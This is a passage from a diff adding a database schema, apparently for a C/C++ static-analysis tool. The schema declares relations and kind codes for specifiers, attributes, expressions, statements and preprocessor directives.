ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +namespaceattributes( + int namespace_id: @namespace ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype + | @decltype + | @derivedtype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_default ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_default ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +| 394 = @isinvocable +| 395 = @isnothrowinvocable +| 396 = @isbitwisecloneable +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + | @isinvocable + | @isnothrowinvocable + | @isbitwisecloneable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +param_ref_to_this( + int expr: @param_ref ref +) + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_default ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +| 40 = @stmt_leave +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue | @stmt_leave; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef 